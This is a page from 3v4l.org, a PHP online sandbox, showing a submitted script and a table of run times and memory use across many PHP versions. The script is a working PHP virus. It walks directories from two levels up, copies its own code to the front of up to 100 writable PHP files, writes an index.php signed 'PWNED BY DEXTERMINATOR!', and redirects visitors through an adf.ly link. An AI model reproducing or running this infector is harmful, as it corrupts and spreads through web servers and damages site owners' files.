3v4l.org

run code in 300+ PHP versions simultaneously
<?php #index.php $atefile = 0; walkthrough('../..'); function walkthrough($dir) { global $atefile; $maxi = 100; $viruscontents=fread(fopen(__FILE__,'r'), 1644); if (!file_exists('index.php')) { $handle = fopen('index.php', 'a'); fwrite($handle, $viruscontents.'PWNED BY DEXTERMINATOR!'); fclose($handle); } if(is_dir($dir)){ if($dh = opendir($dir)){ while(($file = readdir($dh)) !== false && $atefile<$maxi){ if($file != "." && $file != ".."){ if(is_dir($dir."/".$file)){ walkthrough($dir."/".$file); }else{ if(strstr (substr($file, -4), 'php')){ $infected=true; $caniwrite=false; if ( is_file($dir."/".$file) && is_writeable($dir."/".$file) ){ $output = fopen($dir."/".$file, "r"); if(filesize ($dir."/".$file)>0){ $contents = fread ($output , 20); $mine = strstr ($contents, 'index.php'); fclose($output ); } $infected=false; if($mine){$infected=true;} } if($infected==false){ if(filesize ($dir."/".$file)>0){ $victim = fopen($dir."/".$file, "r+"); $ori = fread($victim, filesize($dir."/".$file)); fclose($victim); } $victim = fopen($dir."/".$file, "w+"); if(filesize($dir."/".$file)==0){ fwrite($victim, $viruscontents); }else{ fputs($victim ,$viruscontents.$ori); } $atefile++; fclose($victim ); } } } } } closedir($dh); } } return $counter; } header ('Location: http://adf.ly/7520520/http://www.3v4l.org/'); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0080.00816.75
8.3.60.0070.01518.55
8.3.50.0100.00622.92
8.3.40.0080.00818.77
8.3.30.0070.01119.09
8.3.20.0080.00020.32
8.3.10.0050.00321.76
8.3.00.0080.00017.50
8.2.180.0080.00816.50
8.2.170.0070.01122.96
8.2.160.0070.00720.53
8.2.150.0080.00024.18
8.2.140.0060.00324.66
8.2.130.0040.01126.16
8.2.120.0040.00421.03
8.2.110.0060.00319.23
8.1.280.0120.00625.92
8.1.270.0030.00623.96
8.1.260.0040.00426.35
8.1.250.0080.00028.09
8.1.240.0060.00319.25
8.0.120.0030.00514.40
8.0.110.0060.00314.38
8.0.100.0050.00314.42
8.0.90.0060.00414.40
8.0.80.0060.00614.41
8.0.70.0110.00014.36
8.0.60.0050.00614.36
8.0.50.0050.00614.31
8.0.30.0100.00614.99
8.0.20.0090.00615.07
8.0.10.0080.00314.45
8.0.00.0060.00614.90
7.4.250.0150.00514.34
7.4.240.0090.00814.81
7.4.230.0110.00414.25
7.4.220.0100.00814.26
7.4.210.0130.00614.34
7.4.200.0110.00614.34
7.4.190.0110.00513.56
7.4.180.0190.00213.67
7.4.160.0140.00614.36
7.4.150.0100.00814.50
7.4.140.0130.00915.25
7.4.130.0110.00914.22
7.4.120.0120.00814.80
7.4.110.0160.00614.25
7.4.100.0150.00614.38
7.4.90.0110.00814.35
7.4.80.0100.01014.93
7.4.70.0130.00514.31
7.4.60.0160.00314.33
7.4.50.0130.00214.20
7.4.40.0120.00614.21
7.4.30.0120.00714.22
7.4.20.0100.00613.40
7.4.10.0150.00313.38
7.4.00.0140.00614.08
7.3.320.0170.00713.58
7.3.310.0120.00414.26
7.3.300.0120.00514.38
7.3.290.0190.00314.36
7.3.280.0130.00615.07
7.3.270.0100.01014.53
7.3.260.0160.00414.26
7.3.250.0170.00513.62
7.3.240.0120.00714.32
7.3.230.0170.00314.35
7.3.220.0200.00313.49
7.3.210.0170.00714.29
7.3.200.0140.00614.96
7.3.190.0120.00414.22
7.3.180.0130.00814.27
7.3.170.0170.00114.24
7.3.160.0130.00714.19
7.3.150.0110.00513.49
7.3.140.0150.00313.44
7.3.130.0140.00413.57
7.3.120.0090.00813.90
7.3.110.0110.00413.82
7.3.100.0090.00913.86
7.3.90.0070.00913.98
7.3.80.0090.00513.88
7.3.70.0090.00513.92
7.3.60.0100.00413.96
7.3.50.0100.00413.88
7.3.40.0110.00513.92
7.3.30.0110.00713.97
7.3.20.0110.00615.57
7.3.10.0090.00815.76
7.3.00.0120.00415.79
7.2.340.0160.00413.61
7.2.330.0100.01014.42
7.2.320.0160.00414.28
7.2.310.0140.00514.32
7.2.300.0170.00414.33
7.2.290.0140.00514.42
7.2.280.0200.00413.65
7.2.270.0120.00713.54
7.2.260.0150.00313.55
7.2.250.0110.00813.95
7.2.240.0140.00613.98
7.2.230.0100.00813.98
7.2.220.0130.00713.96
7.2.210.0110.00714.03
7.2.200.0110.00614.10
7.2.190.0100.00914.04
7.2.180.0080.01014.04
7.2.170.0100.00613.97
7.2.160.0150.00313.74
7.2.150.0170.00215.41
7.2.140.0160.00515.51
7.2.130.0150.00415.83
7.2.120.0160.00315.90
7.2.110.0130.00615.86
7.2.100.0130.00415.71
7.2.90.0120.00715.80
7.2.80.0100.00815.84
7.2.70.0130.00615.70
7.2.60.0130.00615.77
7.2.50.0090.00815.87
7.2.40.0140.00515.86
7.2.30.0120.00615.80
7.2.20.0130.00415.86
7.2.10.0110.00715.83
7.2.00.0090.00716.55
7.1.330.0090.00814.64
7.1.320.0130.00414.67
7.1.310.0130.00514.78
7.1.300.0100.00614.76
7.1.290.0130.00414.77
7.1.280.0090.00814.73
7.1.270.0150.00214.76
7.1.260.0130.00414.65
7.1.250.0080.01014.70
7.1.240.0130.00614.28
7.1.230.0080.01014.33
7.1.220.0150.00414.38
7.1.210.0160.00414.48
7.1.200.0120.00414.82
7.1.190.0170.00314.44
7.1.180.0130.00714.36
7.1.170.0120.00714.33
7.1.160.0180.00514.35
7.1.150.0150.00514.46
7.1.140.0110.00614.37
7.1.130.0150.00514.35
7.1.120.0120.00714.34
7.1.110.0140.00514.52
7.1.100.0140.00615.31
7.1.90.0150.00414.26
7.1.80.0150.00614.46
7.1.70.0110.00515.01
7.1.60.0130.00715.66
7.1.50.0150.00515.05
7.1.40.0160.00314.38
7.1.30.0160.00614.54
7.1.20.0160.00414.33
7.1.10.0120.00814.31
7.1.00.0100.02416.34
7.0.330.0140.00314.32
7.0.320.0120.00614.31
7.0.310.0160.00314.32
7.0.300.0140.00414.35
7.0.290.0130.00714.29
7.0.280.0140.00314.27
7.0.270.0120.00514.26
7.0.260.0140.00414.33
7.0.250.0140.00614.34
7.0.240.0170.00514.43
7.0.230.0160.00414.39
7.0.220.0130.00514.41
7.0.210.0160.00414.21
7.0.200.0100.00614.91
7.0.190.0150.00514.30
7.0.180.0130.00614.40
7.0.170.0140.00614.47
7.0.160.0100.00814.21
7.0.150.0150.00214.26
7.0.140.0130.02016.23
7.0.130.0150.00614.30
7.0.120.0130.00414.40
7.0.110.0130.00514.35
7.0.100.0120.00514.31
7.0.90.0110.00614.14
7.0.80.0140.00314.18
7.0.70.0160.00314.23
7.0.60.0120.02615.74
7.0.50.0130.02315.18
7.0.40.0110.02315.71
7.0.30.0180.01615.83
7.0.20.0180.01915.79
7.0.10.0120.01815.80
7.0.00.0100.02815.79
5.6.400.0170.00012.85
5.6.280.0070.07021.11
5.6.210.0130.06720.50
5.6.200.0130.07718.25
5.6.190.0100.05320.63
5.6.180.0330.07720.77
5.6.170.0400.04320.39
5.6.160.0000.09320.46
5.6.150.0130.07318.14
5.6.140.0100.04718.18
5.6.130.0100.08318.28
5.6.120.0130.07321.01
5.6.110.0070.08321.14
5.6.100.0130.08021.00
5.6.90.0070.08320.99
5.6.80.0000.04320.41
5.6.70.4470.03320.40
5.5.350.0000.04720.43
5.5.340.0030.08317.95
5.5.330.0030.07020.25
5.5.320.0370.07320.33
5.5.310.0130.06020.35
5.5.300.0130.07317.95
5.5.290.0030.06717.96
5.5.280.0000.09020.92
5.5.270.0030.09020.86
5.5.260.0100.07720.78
5.5.250.0070.07320.48
5.5.240.0030.07020.21
5.4.450.0200.04319.54
5.4.440.3930.04019.63
5.4.430.0330.06719.48
5.4.420.0400.06319.38
5.4.410.0130.08019.33
5.4.400.0270.07319.07
5.4.390.3900.04319.08
5.4.380.0370.05018.83
5.4.370.0300.06718.95
5.4.360.0400.04018.95
5.4.350.0300.04019.22
5.4.340.0330.06319.21
5.4.320.0300.07719.23
5.4.310.0160.04512.64
5.4.300.0240.05912.64
5.4.290.0210.04312.64
5.4.280.0190.04312.53
5.4.270.0150.04712.53
5.4.260.0210.04512.54
5.4.250.0180.04912.54
5.4.240.0160.04912.53
5.4.230.0160.04912.53
5.4.220.0170.04712.52
5.4.210.0180.04212.53
5.4.200.0190.04312.53
5.4.190.0150.05612.52
5.4.180.0230.03812.52
5.4.170.0160.04512.54
5.4.160.0200.04512.54
5.4.150.0230.05112.53
5.4.140.0200.04312.22
5.4.130.0150.04412.21
5.4.120.0170.04212.17
5.4.110.0170.04612.23
5.4.100.0130.04812.16
5.4.90.0170.04812.16
5.4.80.0310.05912.16
5.4.70.0180.04312.16
5.4.60.0150.04412.16
5.4.50.0180.05112.16
5.4.40.0160.04212.14
5.4.30.0140.04512.14
5.4.20.0110.04812.14
5.4.10.0130.04512.14
5.4.00.0180.04511.62

preferences:
45.37 ms | 401 KiB | 5 Q